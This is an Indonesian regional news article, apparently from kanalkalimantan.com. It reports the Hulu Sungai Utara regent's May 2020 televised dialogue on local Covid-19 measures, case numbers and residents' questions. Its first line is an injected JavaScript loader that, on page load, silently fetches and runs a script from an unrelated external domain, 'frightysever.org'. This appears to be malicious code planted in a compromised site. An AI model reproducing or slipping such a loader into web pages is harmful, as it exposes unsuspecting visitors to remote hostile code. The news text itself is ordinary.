(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI – Bupati Hulu Sungai Utara (HSU) H Abdul Wahid HK menyampaikan perkembangan virus corona disease 2019 (Covid-19) melalui dialog interaktif via TV lokal dan livestreaming Youtube Diskominfo HSU, Jumat (29/5/2020) malam.
Bupati Wahid memaparkan upaya yang telah dilakukan selama ini terkait pencegahan penyebaran Covid-19.
“Kami selaku pemerintah daerah dalam hal penanganan penyebaran Covid-19 ini rasanya cukup maksimal, begitu juga sinergisitas dengan aparat, baik di desa maupun di perkotaan tetap terus dilaksanakan, namun tentunya itu masih ada permasalahan,” ungkap Bupati Wahid.
Lebih lanjut, Wahid mengakui adanya sebagian warga yang masih kurang kesadaran atas imbauan pemerintah selama ini dengan berbagai macam alasan, seperti ketidaknyamanan menggunakan masker. Selain itu, adanya kebiasaan bersosialisasi baik di warung atau tempat lainnya, sehingga menimbulkan kumpulan massa.
“Hal inilah yang merupakan tugas kami selaku pemerintah daerah atau tim gugus tugas untuk mengimbau, mengawasi, bahkan menindak secara persuasif agar mengikuti anjuran tersebut,” tuturnya
Wahid menambahkan, selama ini alat atau fasilitas untuk mengikuti protokol kesehatan rasanya tidak kurang. Masker selalu dibagikan secara gratis di titik-titik kumpul masyarakat, baik dari dana pemerintah ataupun bantuan dari pihak lain yang peduli bahkan dari dana desa.
Pemerintah menganggarkan dana baik dari APBD dan Kementerian untuk warga yang terdampak pandemi Covid-19 ini.
Sementara untuk perkembangan jumlah yang terpapar Covid-19 di HSU, menurut Wahid, terkonfirmasi positif 5 kasus dengan rincian 1 meninggal dunia dan 4 dalam perawatan.
“Dalam upaya mempersiapkan apabila terjadi hal-hal yang tak diinginkan terjadi, kami upayakan sepenuhnya untuk tindakan preventif, misalnya menyediakan tempat karantina dan termasuk anggaran. Kita sudah melaksanakan rapid test dua ribu lebih kepada ASN, dan sekitar 10 % reaktif. Untuk yang reaktif kita tawarkan apakah melaksanakan karantina sendiri atau difasilitasi oleh pemda, namun yang terpenting harus tetap mengikuti protokol kesehatan,” papar Wahid.
Sementara dalam dialog interaktif tersebut, masyarakat juga diajak berinteraksi dengan Bupati berkenaan masalah penyebaran Covid-19 di HSU melalui sambungan telepon langsung untuk bertanya atau memberikan masukan, saran, bahkan hanya sekadar menyapa.
Dari beberapa masyarakat yang mendapatkan kesempatan, ada beberapa warga yang menanyakan masalah tempat ibadah, seperti warga yang berasal dari Kelurahan Sungai Malang menanyakan apa yang akan dilakukan pemda atau gugus tugas untuk tempat ibadah yang malaksanakan sholat Jumat.
Salah seorang warga Haur Gading dalam kesempatan tersebut juga mengapresiasi upaya atau usaha pemerintah daerah melalui pemerintah desa yang telah menyediakan tempat cuci tangan di setiap rumah warga melalui dana desa, dan mereka mengucapkan terima kasih atas upaya tersebut sembari berharap kondisi HSU normal kembali. (kanalkalimantan.com/dew)
KANALAKALIMANTAN.COM, BANJARMASIN - Pelanggan air bersih Perusahan Air Minum (PAM) Bandarmasih Kota Banjarmasin Provinsi Kalimantan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS – Upaya memberikan pelayanan kesehatan dasar kepada masyarakat terus dilakukan Pos Pelayanan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dukungan segenap unsur pemerintahan mengantarkan Kampung Keluarga Berkualitas (KB) Kelurahan Guntung Manggis… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) Kalsel mengadakan Pelatihan Peningkatan Kapasitas… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Camat Mantangai, Yubderi melakukan monitoring kegiatan pelayanan di Posyandu Desa Manusup,… Read More
KANALKALIMANTAN.COM, BANJARBARU - Unit Reskrim Polsek Cempaka menggeledah rumah terduga penjual minumas keras (miras) jenis… Read More
This website uses cookies.